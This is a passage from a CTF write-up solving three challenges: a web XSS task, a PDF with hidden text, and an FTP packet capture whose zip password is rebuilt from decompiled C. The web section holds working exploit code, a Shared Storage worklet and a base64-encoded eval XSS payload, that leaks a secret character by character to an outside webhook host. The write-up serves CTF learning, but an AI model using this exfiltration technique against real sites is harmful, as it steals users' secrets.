https://developer.mozilla.org/en-US/docs/Web/API/WindowSharedStorage/selectURL - This apis allow us load an URL depend on some rules configured at the modules (which we can control due to free xss). - I create a rules which extract the character at one position and return the url matches with it. - So just creating a worklet to extract character from the secret here is mine (a little bit trash btw :v) : ```javascript= class SharedStorageOperation { async run(urls,options) { const charPosition = await sharedStorage.get("charPosition") const value = await sharedStorage.get("message"); console.log("Stored value:", value); if (!value || typeof value !== "string" || value.length === 0) { return 0; // Return 0 if value is empty or invalid } const lastChar = value.charAt(charPosition).toLowerCase(); console.log("Character at: ",charPosition); const hexMap = { '0': 0, '1': 1, '2': 2, '3': 3, '4': 4, '5': 5, '6': 6, '7': 7, '8': 8, '9': 9, 'a': 10, 'b': 11, 'c': 12, 'd': 13, 'e': 14, 'f': 15 }; if (!(lastChar in hexMap)) { console.log("Invalid last character, returning 0"); return 0; } const index = hexMap[lastChar]; console.log("Mapped index:", index); // Check the first URL to determine slice let selectedSlice; if (urls[0] === "https://hk5p9avh.requestrepo.com/0") { selectedSlice = 1; // First slice (0-7) } else if (urls[0] === "https://hk5p9avh.requestrepo.com/8") { selectedSlice = 2; // Second slice (8-15) } else { console.log("Unknown slice, returning 0"); return -1; } let finalIndex; if (selectedSlice === 1 && index < 8) { finalIndex = index; } else if (selectedSlice === 2 && index >= 8 && index < 16) { finalIndex = index - 8; } else { console.log("Index does not match the slice, returning 0"); return -1; } console.log(`Selecting from Slice ${selectedSlice}:`, urls); console.log("Final selected index:", finalIndex); return finalIndex; } } // Register the operation correctly register("read-message", SharedStorageOperation); ``` - This is our external modules , now load it into html with our free xss. We will load this html : ```javascript= async function inject(){ await window.sharedStorage.worklet.addModule("https://hk5p9avh.requestrepo.com/test.js") var charPosition ; const urlParams = new URLSearchParams(window.location.search); if (urlParams.get("charPosition") == 16 ) { return 0; } if(urlParams.get("charPosition") == "NaN") { charPosition = 0; await sharedStorage.set("charPosition",charPosition) }else { charPosition = parseInt(urlParams.get("charPosition"),10) await sharedStorage.set("charPosition",charPosition) } const firstSelection = await window.sharedStorage.selectURL("read-message", [ { "url": "https://hk5p9avh.requestrepo.com/0" }, { "url": "https://hk5p9avh.requestrepo.com/1" }, { "url": "https://hk5p9avh.requestrepo.com/2" }, { "url": "https://hk5p9avh.requestrepo.com/3" }, { "url": "https://hk5p9avh.requestrepo.com/4" }, { "url": "https://hk5p9avh.requestrepo.com/5" }, { "url": "https://hk5p9avh.requestrepo.com/6" }, { "url": "https://hk5p9avh.requestrepo.com/7" } ], { resolveToConfig: true ,keepAlive:true}); const frame = document.createElement("fencedframe"); frame.config = firstSelection; document.body.appendChild(frame) const secondSelection = await window.sharedStorage.selectURL("read-message", [ { "url": "https://hk5p9avh.requestrepo.com/8" }, { "url": "https://hk5p9avh.requestrepo.com/9" }, { "url": "https://hk5p9avh.requestrepo.com/a" }, { "url": "https://hk5p9avh.requestrepo.com/b" }, { "url": "https://hk5p9avh.requestrepo.com/c" }, { "url": "https://hk5p9avh.requestrepo.com/d" }, { "url": "https://hk5p9avh.requestrepo.com/e" }, { "url": "https://hk5p9avh.requestrepo.com/f" } ], { resolveToConfig: true ,keepAlive:true}); const frame2 = document.createElement("fencedframe"); frame2.config = secondSelection; document.body.appendChild(frame2) setTimeout(function() { urlParams.set('charPosition',charPosition+1); // Add or update the new query param window.location.href = `${window.location.pathname}?${urlParams.toString()}`; }, 100); } inject() //http://localhost:3000/xss?xss=<script>eval(atob('IGFzeW5jIGZ1bmN0aW9uIGluamVjdCgpew0KICAgICAgICBhd2FpdCB3aW5kb3cuc2hhcmVkU3RvcmFnZS53b3JrbGV0LmFkZE1vZHVsZSgiaHR0cHM6Ly9oazVwOWF2aC5yZXF1ZXN0cmVwby5jb20vdGVzdC5qcyIpDQogICAgICB2YXIgY2hhclBvc2l0aW9uIDsNCiAgICAgIGNvbnN0IHVybFBhcmFtcyA9IG5ldyBVUkxTZWFyY2hQYXJhbXMod2luZG93LmxvY2F0aW9uLnNlYXJjaCk7DQogICAgICBpZih1cmxQYXJhbXMuZ2V0KCJjaGFyUG9zaXRpb24iKSA9PSAiTmFOIikgew0KICAgICAgICBjaGFyUG9zaXRpb24gPSAwOw0KICAgICAgICBhd2FpdCBzaGFyZWRTdG9yYWdlLnNldCgiY2hhclBvc2l0aW9uIixjaGFyUG9zaXRpb24pDQogICAgICB9ZWxzZSB7DQogICAgICAgY2hhclBvc2l0aW9uID0gcGFyc2VJbnQodXJsUGFyYW1zLmdldCgiY2hhclBvc2l0aW9uIiksMTApDQogICAgICBhd2FpdCBzaGFyZWRTdG9yYWdlLnNldCgiY2hhclBvc2l0aW9uIixjaGFyUG9zaXRpb24pDQogICAgICB9DQogICAgY29uc3QgZmlyc3RTZWxlY3Rpb24gPSBhd2FpdCB3aW5kb3cuc2hhcmVkU3RvcmFnZS5zZWxlY3RVUkwoInJlYWQtbWVzc2FnZSIsIFsNCiAgICAgICAgeyAidXJsIjogImh0dHBzOi8vaGs1cDlhdmgucmVxdWVzdHJlcG8uY29tLzAiIH0sDQogICAgICAgIHsgInVybCI6ICJodHRwczovL2hrNXA5YXZoLnJlcXVlc3RyZXBvLmNvbS8xIiB9LA0KICAgICAgICB7ICJ1cmwiOiAiaHR0cHM6Ly9oazVwOWF2aC5yZXF1ZXN0cmVwby5jb20vMiIgfSwNCiAgICAgICAgeyAidXJsIjogImh0dHBzOi8vaGs1cDlhdmgucmVxdWVzdHJlcG8uY29tLzMiIH0sDQogICAgICAgIHsgInVybCI6ICJodHRwczovL2hrNXA5YXZoLnJlcXVlc3RyZXBvLmNvbS80IiB9LA0KICAgICAgICB7ICJ1cmwiOiAiaHR0cHM6Ly9oazVwOWF2aC5yZXF1ZXN0cmVwby5jb20vNSIgfSwNCiAgICAgICAgeyAidXJsIjogImh0dHBzOi8vaGs1cDlhdmgucmVxdWVzdHJlcG8uY29tLzYiIH0sDQogICAgICAgIHsgInVybCI6ICJodHRwczovL2hrNXA5YXZoLnJlcXVlc3RyZXBvLmNvbS83IiB9DQogICAgXSwgeyByZXNvbHZlVG9Db25maWc6IHRydWUgLGtlZXBBbGl2ZTp0cnVlfSk7DQoNCiAgICAgICAgY29uc3QgZnJhbWUgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJmZW5jZWRmcmFtZSIpOw0KICAgICAgICBmcmFtZS5jb25maWcgPSBmaXJzdFNlbGVjdGlvbjsNCiAgICAgICAgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChmcmFtZSkNCg0KIGNvbnN0IHNlY29uZFNlbGVjdGlvbiA9IGF3YWl0IHdpbmRvdy5zaGFyZWRTdG9yYWdlLnNlbGVjdFVSTCgicmVhZC1tZXNzYWdlIiwgWw0KICAgICAgIHsgInVybCI6ICJodHRwczovL2hrNXA5YXZoLnJlcXVlc3RyZXBvLmNvbS84IiB9LA0KICAgICAgICB7ICJ1cmwiOiAiaHR0cHM6Ly9oazVwOWF2aC5yZXF1ZXN0cmVwby5jb20vOSIgfSwNCiAgICAgICAgeyAidXJsIjogImh0dHBzOi8vaGs1cDlhdmgucmVxdWVzdHJlcG8uY29tL2EiIH0sDQogICAgICAgIHsgInVybCI6ICJodHRwczovL2hrNXA5YXZoLnJlcXVlc3RyZXBvLmNvbS9iIiB9LA0KICAgICAgICB7ICJ1cmwiOiAiaHR0cHM6Ly9oazVwOWF2aC5yZXF1ZXN0cmVwby5jb20vYyIgfSwNCiAgICAgICAgeyAidXJsIjogImh0dHBzOi8vaGs1cDlhdmgucmVxdWVzdHJlcG8uY29tL2QiIH0sDQogICAgICAgIHsgInVybCI6ICJodHRwczovL2hrNXA5YXZoLnJlcXVlc3RyZXBvLmNvbS9lIiB9LA0KICAgICAgICB7ICJ1cmwiOiAiaHR0cHM6Ly9oazVwOWF2aC5yZXF1ZXN0cmVwby5jb20vZiIgfSANCiAgICBdLCB7IHJlc29sdmVUb0NvbmZpZzogdHJ1ZSAsa2VlcEFsaXZlOnRydWV9KTsNCg0KICAgICAgICBjb25zdCBmcmFtZTIgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJmZW5jZWRmcmFtZSIpOw0KICAgICAgICBmcmFtZTIuY29uZmlnID0gc2Vjb25kU2VsZWN0aW9uOw0KICAgICAgICBkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGZyYW1lMikNCg0KICAgICAgc2V0VGltZW91dChmdW5jdGlvbigpIHsNCiAgICAgICAgdXJsUGFyYW1zLnNldCgnY2hhclBvc2l0aW9uJyxjaGFyUG9zaXRpb24rMSk7ICAvLyBBZGQgb3IgdXBkYXRlIHRoZSBuZXcgcXVlcnkgcGFyYW0NCiAgICAgICAgd2luZG93LmxvY2F0aW9uLmhyZWYgPSBgJHt3aW5kb3cubG9jYXRpb24ucGF0aG5hbWV9PyR7dXJsUGFyYW1zLnRvU3RyaW5nKCl9YDsNCg0KICAgICAgICAgIH0sIDIwMDApOyANCiAgICAgICAgfQ0KICAgICAgIA0KICAgICAgICAgaW5qZWN0KCk='))</script> ``` - It just simply loop through each position and send the secret to our webhook and then we use that secret to get the flag . **Flag : dice{th1s_api_is_w4ck}** ## misc/bcu-binding The challenge gives us a pdf file with some hidden and covered word so i use search box to find what can i do with it. ![image](https://hackmd.io/_uploads/Bk_OrrYpJg.png) And we found some hidden word right at the beginning of the file FLAG: dice{r3ad1ng_th4_d0cs_71ccd} ## misc/dicecap - This challenge gives us a pcap and I find this log ```log= 220 (vsFTPd 3.0.5) USER hacker 331 Please specify the password. PASS hacker 230 Login successful. SYST 215 UNIX Type: L8 FEAT 211-Features: EPRT EPSV MDTM PASV REST STREAM SIZE TVFS 211 End EPSV 229 Entering Extended Passive Mode (|||19850|) LIST 150 Here comes the directory listing. 226 Directory send OK. EPSV 229 Entering Extended Passive Mode (|||20104|) NLST 150 Here comes the directory listing. 226 Directory send OK. CWD sekrit-encryptor 250 Directory successfully changed. TYPE I 200 Switching to Binary mode. SIZE main 213 16296 EPSV 229 Entering Extended Passive Mode (|||10486|) RETR main 150 Opening BINARY mode data connection for main (16296 bytes). 226 Transfer complete. MDTM main 213 20250327234415 CWD .. 250 Directory successfully changed. TYPE A 200 Switching to ASCII mode. EPSV 229 Entering Extended Passive Mode (|||44361|) LIST 150 Here comes the directory listing. 226 Directory send OK. EPSV 229 Entering Extended Passive Mode (|||11398|) NLST 150 Here comes the directory listing. 226 Directory send OK. CWD super_skiddy_tools 250 Directory successfully changed. EPSV 229 Entering Extended Passive Mode (|||47697|) NLST 150 Here comes the directory listing. 226 Directory send OK. TYPE I 200 Switching to Binary mode. SIZE coolzip.zip 213 1170 EPSV 229 Entering Extended Passive Mode (|||33937|) RETR coolzip.zip 150 Opening BINARY mode data connection for coolzip.zip (1170 bytes). 226 Transfer complete. MDTM coolzip.zip 213 20250328014837 ``` - It does some interesting stuff , so I decided to donwload the coolzip and the main file to find the flag . ![image](https://hackmd.io/_uploads/HkddVrFake.png) - It looks like need a password to unzip - Read the log we know that hacker use the main function to generate the password. - Here is it : ```c= __int64 generate_password() { int v1; // [rsp+8h] [rbp-58h] const char *src; // [rsp+10h] [rbp-50h] const char *v3; // [rsp+18h] [rbp-48h] char dest[6]; // [rsp+20h] [rbp-40h] BYREF char s[10]; // [rsp+26h] [rbp-3Ah] BYREF char v6[40]; // [rsp+30h] [rbp-30h] BYREF unsigned __int64 v7; // [rsp+58h] [rbp-8h] v7 = __readfsqword(0x28u); v1 = time(0LL); sprintf(s, "%d", v1 - v1 % 60); src = setlocale(6, &locale); strncpy(dest, src, 5uLL); dest[5] = 0; v3 = getlogin(); strcat(v6, s); strcat(v6, dest); strcat(v6, v3); printf("The password is:%s\n", v6); return 0LL; } ``` - So the password is sth like : ```<timestamp (rounded to nearest min)><first 5 chars of locale><username>``` - After trying some numbers ![image](https://hackmd.io/_uploads/SyhcrBtTyg.png) - I finally get the right password : ``` 1743126480en_UShacker ``` **Flag : dice{5k1d_y0ur_w@y_t0_v1ct0ry_t0d4y!!!}**